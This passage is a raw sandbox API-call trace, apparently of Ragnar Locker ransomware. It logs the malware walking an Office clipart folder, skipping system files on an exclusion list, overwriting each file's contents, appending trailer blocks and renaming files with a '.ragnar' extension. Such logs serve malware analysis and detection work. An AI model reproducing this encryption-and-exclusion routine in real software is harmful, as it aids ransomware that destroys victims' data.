lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" [0082.078] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.ragnar_FD7BD9FC" [0082.078] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.079] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadef6200, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadef6200, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x45ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00074_.WMF", cAlternateFileName="")) returned 1 [0082.079] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.079] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00074_.WMF" | out: lpString1="FD00074_.WMF") returned="FD00074_.WMF" [0082.079] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned=".WMF" [0082.079] lstrcmpiW (lpString1="FD00074_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.079] lstrcmpiW (lpString1="FD00074_.WMF", lpString2="autorun.inf") returned 1 [0082.079] lstrcmpiW (lpString1="FD00074_.WMF", lpString2="boot.ini") returned 1 [0082.079] lstrcmpiW (lpString1="FD00074_.WMF", lpString2="bootfont.bin") returned 1 [0082.079] lstrcmpiW (lpString1="FD00074_.WMF", lpString2="bootsect.bak") returned 1 [0082.079] lstrcmpiW (lpString1="FD00074_.WMF", lpString2="bootmgr") returned 1 [0082.079] lstrcmpiW (lpString1="FD00074_.WMF", lpString2="bootmgr.efi") returned 1 [0082.079] lstrcmpiW (lpString1="FD00074_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.079] lstrcmpiW (lpString1="FD00074_.WMF", lpString2="desktop.ini") returned 1 [0082.079] lstrcmpiW (lpString1="FD00074_.WMF", lpString2="iconcache.db") returned -1 [0082.079] lstrcmpiW (lpString1="FD00074_.WMF", lpString2="ntldr") returned -1 [0082.079] lstrcmpiW (lpString1="FD00074_.WMF", lpString2="ntuser.dat") returned -1 [0082.079] lstrcmpiW (lpString1="FD00074_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.079] lstrcmpiW (lpString1="FD00074_.WMF", lpString2="ntuser.ini") returned -1 [0082.079] lstrcmpiW (lpString1="FD00074_.WMF", lpString2="thumbs.db") returned -1 [0082.079] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.079] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.079] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.079] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.079] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.079] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.080] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x20 [0082.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.080] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17850) returned 1 [0082.080] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x45b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.080] GetProcessHeap () returned 0x580000 [0082.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.080] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.081] VirtualAlloc (lpAddress=0x0, dwSize=0x45ba, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.082] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.082] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.082] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x45ba, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x45ba, lpOverlapped=0x0) returned 1 [0082.083] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.083] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x45ba, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.083] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x45ba, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x45ba, lpOverlapped=0x0) returned 1 [0082.083] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x45ba, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.083] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.083] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x45ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.083] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.084] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.084] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.084] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.084] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.084] GetProcessHeap () returned 0x580000 [0082.084] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.084] CloseHandle (hObject=0xf4) returned 1 [0082.084] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" [0082.084] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.ragnar_FD7BD9FC" [0082.084] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.085] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5bdb00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa5bdb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00076_.WMF", cAlternateFileName="")) returned 1 [0082.085] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.085] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00076_.WMF" | out: lpString1="FD00076_.WMF") returned="FD00076_.WMF" [0082.085] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned=".WMF" [0082.085] lstrcmpiW (lpString1="FD00076_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.085] lstrcmpiW (lpString1="FD00076_.WMF", lpString2="autorun.inf") returned 1 [0082.085] lstrcmpiW (lpString1="FD00076_.WMF", lpString2="boot.ini") returned 1 [0082.085] lstrcmpiW (lpString1="FD00076_.WMF", lpString2="bootfont.bin") returned 1 [0082.085] lstrcmpiW (lpString1="FD00076_.WMF", lpString2="bootsect.bak") returned 1 [0082.085] lstrcmpiW (lpString1="FD00076_.WMF", lpString2="bootmgr") returned 1 [0082.085] lstrcmpiW (lpString1="FD00076_.WMF", lpString2="bootmgr.efi") returned 1 [0082.085] lstrcmpiW (lpString1="FD00076_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.085] lstrcmpiW (lpString1="FD00076_.WMF", lpString2="desktop.ini") returned 1 [0082.085] lstrcmpiW (lpString1="FD00076_.WMF", lpString2="iconcache.db") returned -1 [0082.085] lstrcmpiW (lpString1="FD00076_.WMF", lpString2="ntldr") returned -1 [0082.085] lstrcmpiW (lpString1="FD00076_.WMF", lpString2="ntuser.dat") returned -1 [0082.085] lstrcmpiW (lpString1="FD00076_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.085] lstrcmpiW (lpString1="FD00076_.WMF", lpString2="ntuser.ini") returned -1 [0082.085] lstrcmpiW (lpString1="FD00076_.WMF", lpString2="thumbs.db") returned -1 [0082.085] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.085] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.085] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.085] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.085] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.085] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.085] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x20 [0082.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.086] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11994) returned 1 [0082.086] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2ed1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.086] GetProcessHeap () returned 0x580000 [0082.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.086] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.090] VirtualAlloc (lpAddress=0x0, dwSize=0x2eda, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.090] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.090] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.090] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2eda, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2eda, lpOverlapped=0x0) returned 1 [0082.091] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.091] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2eda, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.092] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2eda, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2eda, lpOverlapped=0x0) returned 1 [0082.092] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2eda, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.092] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.092] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2eda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.092] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.092] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.092] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.092] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.092] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.092] GetProcessHeap () returned 0x580000 [0082.092] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.093] CloseHandle (hObject=0xf4) returned 1 [0082.093] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" [0082.093] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.ragnar_FD7BD9FC" [0082.093] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.093] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bb4600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bb4600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7620, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00077_.WMF", cAlternateFileName="")) returned 1 [0082.093] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.093] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00077_.WMF" | out: lpString1="FD00077_.WMF") returned="FD00077_.WMF" [0082.093] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned=".WMF" [0082.093] lstrcmpiW (lpString1="FD00077_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.093] lstrcmpiW (lpString1="FD00077_.WMF", lpString2="autorun.inf") returned 1 [0082.093] lstrcmpiW (lpString1="FD00077_.WMF", lpString2="boot.ini") returned 1 [0082.093] lstrcmpiW (lpString1="FD00077_.WMF", lpString2="bootfont.bin") returned 1 [0082.093] lstrcmpiW (lpString1="FD00077_.WMF", lpString2="bootsect.bak") returned 1 [0082.093] lstrcmpiW (lpString1="FD00077_.WMF", lpString2="bootmgr") returned 1 [0082.094] lstrcmpiW (lpString1="FD00077_.WMF", lpString2="bootmgr.efi") returned 1 [0082.094] lstrcmpiW (lpString1="FD00077_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.094] lstrcmpiW (lpString1="FD00077_.WMF", lpString2="desktop.ini") returned 1 [0082.094] lstrcmpiW (lpString1="FD00077_.WMF", lpString2="iconcache.db") returned -1 [0082.094] lstrcmpiW (lpString1="FD00077_.WMF", lpString2="ntldr") returned -1 [0082.094] lstrcmpiW (lpString1="FD00077_.WMF", lpString2="ntuser.dat") returned -1 [0082.094] lstrcmpiW (lpString1="FD00077_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.094] lstrcmpiW (lpString1="FD00077_.WMF", lpString2="ntuser.ini") returned -1 [0082.094] lstrcmpiW (lpString1="FD00077_.WMF", lpString2="thumbs.db") returned -1 [0082.094] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.094] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.094] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.094] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.094] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.094] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.094] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x20 [0082.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.095] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=30240) returned 1 [0082.095] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7617, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.095] GetProcessHeap () returned 0x580000 [0082.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.095] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.097] VirtualAlloc (lpAddress=0x0, dwSize=0x7620, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.097] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.097] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.097] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7620, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7620, lpOverlapped=0x0) returned 1 [0082.098] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.098] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7620, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.098] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7620, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7620, lpOverlapped=0x0) returned 1 [0082.099] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7620, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.099] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.099] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7620, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.099] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.099] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.099] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.099] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.099] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.099] GetProcessHeap () returned 0x580000 [0082.099] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.099] CloseHandle (hObject=0xf4) returned 1 [0082.100] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" [0082.100] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.ragnar_FD7BD9FC" [0082.100] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft 